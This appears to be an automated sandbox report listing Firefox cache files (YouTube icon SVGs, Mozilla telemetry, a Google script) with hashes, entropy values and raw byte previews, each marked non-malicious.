C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\9565E380ED69AA23D8CFAB8FB62AD825153C78A5

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 302055424
Category:	dropped
Size (bytes):	9687
Entropy (8bit):	6.203515934737489
Encrypted:	false
SSDEEP:	192:IuhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlE9JE9H:azwHUL75Vf8eehqrufWWCt2BVlcJcH
MD5:	1C626E713F7147F2DB1E63A6C98BE7C1
SHA1:	D1F8549048CEB2064F9B92BBB1937B0E9E530A44
SHA-256:	D3EA568B38646F0DBFC27DDEE4D99F2C81B2B217269514A3CAFD763B9C9E2CD8
SHA-512:	04F1E23B3D5367292AA532E1BCDB52FE9E8B1B6F11EB241A36FFDC9C1CF752ACC6D08FA9BC85481C3D030146282A877596DF507E95E5CB6613665A915BB25405
Malicious:	false
Reputation:	unknown
Preview:	..........MP.n.0...+...6$L..v....A.V..._?..(N.{~.....^..47f\..GQ..01.CA.B....p...x.....;..3.........<.Kc.}=....j.?>.O....qXFP../P..K.....h...<2+ .."u......LJy...r..+sZ.F...R..-f1m.Q.^..\|D. d9.xM.9Z.B.mD..t.......95.."K.....n.....\n.VKmC'V&7..[G.n-1.M...o..f..wu...lW.q.p........e.dqe.dqFv..g.>....g....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/fire/v8/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEA

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\A0AC3803B3A7FF9A78D2D3CB8C0321296C8DE69B

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 738263040
Category:	dropped
Size (bytes):	9713
Entropy (8bit):	6.2295822822227205
Encrypted:	false
SSDEEP:	192:qtPdAhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEprCEprQ:qlDzwHUL75Vf8eehqrufWWCt2BVlorCV
MD5:	C1BDCA283692D73531F9A4B888DB95AF
SHA1:	D629122E3898000CC545D4AF032CB91DE67DC5C1
SHA-256:	26DA5ABE94B173266AB06499AD22B09F09B9F4A11A7D5C52C6DF30684A6AA034
SHA-512:	6DBA660E3AB5C5691B37929068200BF2FDDACD3452B2741511AEE73299C41B20188708A98BFDEED0B67663CBB3205C024AFBDDFD37B3B3A007920CF37E5E8CE5
Malicious:	false
Reputation:	unknown
Preview:	..........=Q..0...+w.y....g..UA...h[Q...8..._......=~...2M.....Y. .S......\|Sg\|4t?....3.,.H......vs....:.wYV...-K.,6..-lf'..^\f<.=...~...=Kb.k.<...um.9.+.......l...DI .J\...bRb.I.(.M...iWjj..q......A......i.....;.K.........T#.A.{.!}.~]..,.I.`...D......;...m3L....~..i.8.{.f..............C.ww........e.dqe.dqFv..g.,....g....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/gear/v6/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKO

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\A3800A5A487F4AE2189C30FFD8533292E9FACFBE

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 4143972352
Category:	dropped
Size (bytes):	9659
Entropy (8bit):	6.19603160233688
Encrypted:	false
SSDEEP:	192:QELhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlE6yE67:QEozwHUL75Vf8eehqrufWWCt2BVlqD
MD5:	01F24DC95D611225F31D3FD82E04990F
SHA1:	8E40423687A21B4C230B6327D6C86A88E68C97E6
SHA-256:	C3C1FC834E84122BA378EEB2CC3874E9D0B2043944D5AA3B323E8BC4AEF80D5B
SHA-512:	62A59941A64AFA3D1FF164DF3DCCEAD6A5F39149E76DB5DA545BCA39AFDC369D35DE8B8D90A009C744C8FFA009A2E872B13505977315C9412971F8960753A89E
Malicious:	false
Reputation:	unknown
Preview:	..........MP.n.0...+..8N.L.a;.4.wJ.A.....s.e.e?...Ei.}...m.Z.b...EJI%R.c..`..q./.Q^..kz.?...@s..) ...b+2..1...V......{.......R5...ivi...I.....3..zf.3h@.\..9&...t...K xe....^'4.n@.=?.$......s.@.6.2....g.7.!Sv.*......JG{..k..u.J.s.K....?xEOu........e.due.duFv..g......f....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/mic/v8/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFB

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\A5C44985C20E7144869323F9E65D1FED0D0C3738

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2214658048
Category:	dropped
Size (bytes):	9804
Entropy (8bit):	6.271013623517008
Encrypted:	false
SSDEEP:	192:gqhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVBEkEm:EzwHUL75Vf8eehqrufWWCt2BVBZ7
MD5:	C790452A41D78218CA3728B4860AF06A
SHA1:	0AA597842241B2EE7ACA7BAF9A96713C22CBE528
SHA-256:	8519F092EEC82FCCD61B03A029F01AD5F16D55EAD983543F01FE7EA49C0EA48F
SHA-512:	61F2146010A91903EC2C412B6EDA6667B84D4B816FA0630F4CEF62D8C89527214681AA473C0E909D5C9AC0785BC9EEA09D6207CAF95183C7738405960568E89F
Malicious:	false
Reputation:	unknown
Preview:	..........d.Ok.1....y.../...%..T.l.e..P/..O_.M{H.....a...].I.//?...-...n]W....N;s...4I{>...,L............l=?-m{>..X.<....1!.11..h.0"..[?..}gF.-M....6;E..J...jp....2;r...9..).f..#.N.2..U..h.7-ZP..R.%..@........+a\|...q.(A"B..z.}......p.....?...bT.(T...n..}..q..l\.C...R=2!P.O.a.5n...o.x.d...<.....P.$...t..N.*..X..+.g.C....=.f..G.....C.(..K....&.S..6"/.....n\|........A.6j.....-..\........e.due.dvFv..g......l....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/earth/v12/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQ

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\A6012F2715A7CB8DC03627BE1A369E64EC0A91A1

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	22009
Entropy (8bit):	7.024991546554629
Encrypted:	false
SSDEEP:	384:WSi9SmVFx7fanTNNygzKZHI1wS2djAud9tNtzL28eehqrufWWCt2BVgeqed:WStmVFknTNHgdjAudZNL28eehq4w2BVD
MD5:	69E843BF53597B9454EE218FFC8B72BB
SHA1:	697AF8F650B14F4E00B9DB39EBC327097CB2FAA8
SHA-256:	C72FD669874809B28BF382B560EA75298E359491793FFA25BA277BA283B65391
SHA-512:	9CC64F9F6A0EBEB8D14CA2D6FCF7529C4F071B146223A1FF004AA7AF8E6C8FB57B6C6AA81A18D83648164D1FA73CFB058BA7AE29E6C899832C26824B5D717086
Malicious:	false
Reputation:	unknown
Preview:	.(."................N..jK.....x...{6..To@....-..R..%%}.!U.].itrH....{.;......g...t7...T....:/).7$.@.'~....H.2..5vVQ{...".....Swv.m.GY7.6c:.W...)f....H.i....b....s@.SOw.7.x";.1..$I>.U..0.-V..Z...I6.:D.9...us...*.N.J.t$.....vU..x.4.U.X.{BlCT.0.kISfr.j...!.4;(C..a.n7..0..OE.p.~.$..n.!....00.....V..r..0....:I..h.......[.....'....M...5M..vr..e....f.#.z..k4$\%.....e..........7....D.$y..i....Q..,...#"m.f>..)......(...p.M.....5F..BXIr'.z.0~#......N.x>3.0.5..m..^0.E&.GF.D..nt.....F`......d....GU.Q..E...........%".=c..'..$....s..K.-.......)....kL.%.......R.{..S...g.:....r....zb.....;.r....pxx8.'#.~P..5A...:..=..O.c@.C......2.^.f.....y....-..f&.S.......=.\|QS....S`.n.......,X.....3..<.z..!.y../....ln..,.e.[........J.d...;;...4h.(...?.AI...Q.}$-.e.q.(A...8........6..8...H...&I..N.o.AR.r..f}..........u."..G..O....`.D.3.N.\|....QS..g#....}.3#m......8I?.'Q.n.....\|.....v{.1.R...mt..N..A.Ew.?F..'.._uU.\|.FGk....W.w.^.~..u.[/....0u.0..5.A.~.&.i....3..V.u..

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\A70D55B073B8BABDB9AE6666BCC13D503EF6A196

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3187671040
Category:	dropped
Size (bytes):	9622
Entropy (8bit):	6.173450416242933
Encrypted:	false
SSDEEP:	192:v1/hChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEg2Eg5:v18zwHUL75Vf8eehqrufWWCt2BVlR2R5
MD5:	EF58E023A52EDEC471930431080ACB88
SHA1:	8CFF68D4C796FC133B8CBD8564511DC3AE98CC44
SHA-256:	074BAA028FB2CBE5423AD269E899C39E041F74C08672B1598DB79CBDAB750835
SHA-512:	804723B26DD98701CBE72971C2F2C9FDC286514C7636EB755E26D65BF70496D83420290BAEB546DD81B0EE2347F4117D714024817764379CB7043189038781FC
Malicious:	false
Reputation:	unknown
Preview:	..........MN...0...(..qi.R.C'...8T...I...:UgY.lYW.R.>a.^......9g....^.RJ......F.......==*>...~x......X.C......._..G._\.K....Wm.>.`.$L.....ak.P.66.BX7.......i.kM......2.".b...../.........8.d.j........e.due.duFv..g.j....z....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/message_bubble_alert/v6/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBB

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\A988D8F5B0BF56AA1942EC62AFDF51C05C82139B

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	9642
Entropy (8bit):	6.281772909456844
Encrypted:	false
SSDEEP:	192:kYhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVmWXCXZ:khzwHUL75Vf8eehqrufWWCt2BVmCOZ
MD5:	9EDCAAA011699C5E3FCE79E25500F4F5
SHA1:	61E0ECB1383CA3F68EC7CFA4ECB2655B6F1D07AE
SHA-256:	E7113C57559E6165E581905A9B7C7B28F97306D8C7DBD851D928892F8E600750
SHA-512:	23B7394836699D5102F4F557BDECF20449120188A2061B4593B7546D589B03595306A8E91C1A198FBCCAD6606FFFEFD2BEA7D43D8556A52D78852F3B7FD904FA
Malicious:	false
Reputation:	unknown
Preview:	.H...,p.&...`........#...w.oaV.`."):..l.....]...R....~.G....Bx..Mu.4......$...].yI.fh........8....}m.D0....:......b.....nl.>....r..d."oq..:=......5\......M....o-0...lj.&.V`.r...T...<..<`...s..M.....0...4r.e..+...O.,.Q".>6.3B8..x..K.Z.0...{.Ih...L.s...{N\..-..I.y...e^...{.y...:L..U.@....5,q.....!i..x...S....U...\|.s.q_..C....O..o..j..Du..6c..3..Y.%.[Z.......P.........l......2..d........e.due.dvFv..g...........O^partitionKey=%28https%2Cyoutube.com%29,a,:https://www.gstatic.com/youtube/img/icons/web/youtube_fill/shorts-dislike/v2/32px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHK

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\A9E718B7A56A176D722B4480EC09FDED4F86A49D

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 1057030144
Category:	dropped
Size (bytes):	9741
Entropy (8bit):	6.238288689205657
Encrypted:	false
SSDEEP:	192:kUenrhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEqEc:/xzwHUL75Vf8eehqrufWWCt2BVl1L
MD5:	73EF359AA8EFE9185CD0CF5CA1DAF617
SHA1:	DE0F2CC3DB3C5835C8FF263951F3E1B4B780E5E3
SHA-256:	89F3BB418C97BEDE49BCB5AD8EAF721FE371A06CD7251A8D31028E4E60DA8B96
SHA-512:	CB355E65E122C78AC339C134C55DCF121DE97FF003C47A407A5623C4BC73AA6695B2DEBFD7C7685A582A19AAD8FDA6D64FDF93C0E945235AD88B290ADE2D276C
Malicious:	false
Reputation:	unknown
Preview:	..........=QMo.0..+V.q.\|..=...q....A....e...c.l%.......G?\+...*.y.q6x.t.VJ.....c..Jh+.:~.m%.a...m.w...pX....M[.'....O.J.'.....x...~.p..,...19 .d0.].zr.\|oQ..h.$T...}.5.n.8t$-.O...+... 21..=/.BZ... ..\.......&.`oy.....H$B...F.$.B._.&.q.'...3.&..6.'....<..7..Q...i.Do.S.j=..A7.(X...2..(..G[......6......T>...........e.dqe.dqFv..g......p....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/arrow_time/v8/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+F

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\AE33323C704214093F3B157AFE2D26AC1D2B770E

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	8054
Entropy (8bit):	6.039054183856854
Encrypted:	false
SSDEEP:	192:AJbV2GHyBXO49FgAfBKB2TWCDeBNbZovEplH:AJxVHydO49aAfU2LkAc3
MD5:	DA46808343FCEFD1EC3F7E3B4154FD59
SHA1:	DA8A208A80E07ADAA978A9E0673D6CBA6AA090A2
SHA-256:	BAC4B3FF932BE5598470D99F10A3EAA70170F5A923262743AD1A0F9F0838F444
SHA-512:	44D550902B67D9FD482AB3B17741346461FE272613C59EAF16A575DF6ADF23A7241EFB73A5B69A1D74A71C3BA8DF816E9771CED143825F8760F7BC92B4C1E242
Malicious:	false
Reputation:	unknown
Preview:	".*m........e.dOe.dPFv..e.dP........a,~1705534508,:https://incoming.telemetry.mozilla.org/submit/firefox-desktop/messaging-system/1/11a71126-4d48-4449-9378-318b63dda184.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAAX1MIIF8TCCA9mgAwIBAgIQAeBji5rfnEKbkKRu9rqqbTANBgkqhkiG9w0BAQsFADCBkjELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xKjAoBgNVBAoMIVRoZSBVbml2ZXJzZSBTZWN1cml0eSBDb21wYW55IEx0ZDEqMCgGA1UEAwwhVGhlIFVuaXZlcnNlIFNlY3VyaXR5IENvbXBhbnkgTHRkMB4XDTI0MDExNjIzMzUzOVoXDTI1MDExNTIzMzUzOVowgYExCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRwwGgYDVQQKExNNb3ppbGxhIENvcnBvcmF0aW9uMScwJQYDVQQDEx5pbmNvbWluZy50ZWxlbWV0cnkubW96aWxsYS5vcmcwggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAwggEIAoIBAQC20hRkz2cHrAqiprMow8s6eCX1stiAWM6NPWKHjVWP+TEK2iMuiOXOoxHa5qYNLnKbU1JQ7HykK0FE3dj1Ww3MN3amatnVeuD6uL/POgKfmulXiUpC03FTxo+4wzgEBWv

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\AF10D6A6EDDDEAF586DD225969745155C8322254

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	9467
Entropy (8bit):	6.184455042294071
Encrypted:	false
SSDEEP:	192:nSJvhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVmWdj8:SizwHUL75Vf8eehqrufWWCt2BVmq8
MD5:	A8604A9B3341CFDCAB15733BB7E58CF7
SHA1:	70CF4112D002C65B51E13410B0D7E21B5261AE35
SHA-256:	399A8CE3DEBBDD1DF9BCD927C8F77067B230B62C3B8C6B05E25D1DE09A9A23AD
SHA-512:	3AC9F0E1BC172F7D80E13F7EB4ED5466FD1B91E79B1EF15B088C3A7707975782CF6F57C3899C7C6A001DBBE855657CEFC64C9A6A8E93B11C73567064655AF88E
Malicious:	false
Reputation:	unknown
Preview:	....iQ`..Y.Dr{.b0.co{)y@...y.....s.....5y..........]A......;[.?Z...uI`.B..Dv7..n...YEXxw..s......B..R:.Kz...w.(.;...%..'.[X.....%+3....nGv}..[.b'...N......?.D=9i..........e;3..RUf..C.k_W.z>.F...n....2wVf..O...A........O.........e.due.dvFv..g. ....}....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://www.gstatic.com/youtube/img/icons/web/youtube_outline/refresh/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAM

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\AFBE5C7660B88960AE0251687714718BB3BFE9FD

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	10077
Entropy (8bit):	6.4569925494969675
Encrypted:	false
SSDEEP:	192:188j3BhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVmWCkCy:ZqzwHUL75Vf8eehqrufWWCt2BVmtHy
MD5:	B097F2CCC61AFD0E9742ED2C441138B3
SHA1:	9E35DFA2922F213FA8C4CC8158253670C73DC813
SHA-256:	9974277456222922F394863C6B73CDA9A16FAEABE21D775D0F611CA86B663772
SHA-512:	75B2D922B25C021766E8D69FC3BD28A79F557DA568CF3D0D6F833F0108BDB069048594D09DC242ACAAE02792B48ACD195B0F53AC3F0BBEE22CD090433DC3A118
Malicious:	false
Reputation:	unknown
Preview:	..=.`].KzGe..l'D.c1.+...Q.h.n....A`Pk.A.P..H.l.0V.....9..swP.....3..?.T..\.....fg.....$(..7.diI(...Ui..\!.z....h.A(..&..L.M...].../...7.G~g>s."...._......Os.r;.Z.:j...p..O..i6.%.5.y........7....<&..}.S.ez...461~.^M..9kn....$Qq...9.8.P.e.eP@).v.....d...i.....35.s.^BAt..P.}...a1....."'."n.?!.vt..o..,......\.Z..j.......5(...~...n.a'WNy_.4.g"..../9.s....8........9.)..3t...1.u.%~+D..7.7.I..%v.-..-... .T......//J(......q..GI~.c.....^.!w\|.D.........ceQ^...x.U..Y....}..6...b..lBwH.p.......#.L.....G..7..5.]j3.Xf.I.<##......2.:U..~..J-...=..;:.k..6x......2...1...W.....F..;....g?.[...................9`..V.?...k.i\....D....Q....].wsv........$.#.$%...K.&blDy......T.S..p..~Z6.~]c..=....y:..;.G8........i...c.P..SK....^.uW...,6..4.z..v..2...n.\|...m)...r...Lo._.eA.\|.}K~.{.qo#.....2...........e.due.dvFv..g...........O^partitionKey=%28https%2Cyoutube.com%29,a,:https://www.gstatic.com/youtube/img/icons/web/youtube_fill/youtube_kids_round/v1/24px.svg.necko

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\B024BE29DC080E67C0A08CACFE1BEED8592EB422

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	65445
Entropy (8bit):	5.795743879854259
Encrypted:	false
SSDEEP:	1536:Ifd/sRuiALPAavkj70bI5D4nDltOC2B795Jpmk8+pc:IfdURZGvkjob44J895JR8L
MD5:	C11FBFA908E88C64027E1FC12C834273
SHA1:	599D64D39311F42E7F57770D2A95BEF49B577540
SHA-256:	99DD9CC39624E58030B4AD21859470C02AD7B4967D3D4068122D90E7890DDA27
SHA-512:	B63A469A1DF7FB56E951B36A15406FBFD81F1288EC25A3FED51B7801362C5CCF5CBE660290B2ADC80ED9E6CBA7A554BF058ADCE682D2B54D8130DE56533F5D09
Malicious:	false
Reputation:	unknown
Preview:	/*.. Copyright 2014 Google Inc. All rights reserved... Licensed under the Apache License, Version 2.0 (the "License");. you may not use this file except in compliance with the License.. You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0.. Unless required by applicable law or agreed to in writing, software. distributed under the License is distributed on an "AS IS" BASIS,. WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. See the License for the specific language governing permissions and. limitations under the License... Copyright 2016 Google Inc. All rights reserved... Licensed under the Apache License, Version 2.0 (the "License");. you may not use this file except in compliance with the License.. You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0.. Unless required by applicable law or agreed to in writing, software. distributed under the License is distributed on an "AS IS" BASIS,.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\B141118D583915D3FC8449F9EEAE18FB5C596214

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	13750
Entropy (8bit):	7.197612625362513
Encrypted:	false
SSDEEP:	384:O6sHQkPKyuKLqTL6vbzwHUL75Vf8eehqrufWWCt2BVmA:O6sfPKyubSvbzyUZVf8eehq4w2BVD
MD5:	77161D72760E06CCE781CFDC9E04F098
SHA1:	1FDB906649B435472CCFB3D58FFBC04E5786E1D4
SHA-256:	6B57B09B157AAEDF7D0D4545BBC43B9822757E2812C7A168A63709F3A2AF697C
SHA-512:	1F5E1D4E33FF17CA33185E12F46C7C60727A8FAB5C6A4A20B5456503B64A85B84B5D7A83BA76964C60D95ECE3D61894BE4D7CE8339F79EBEEA415A9179DC8FC5
Malicious:	false
Reputation:	unknown
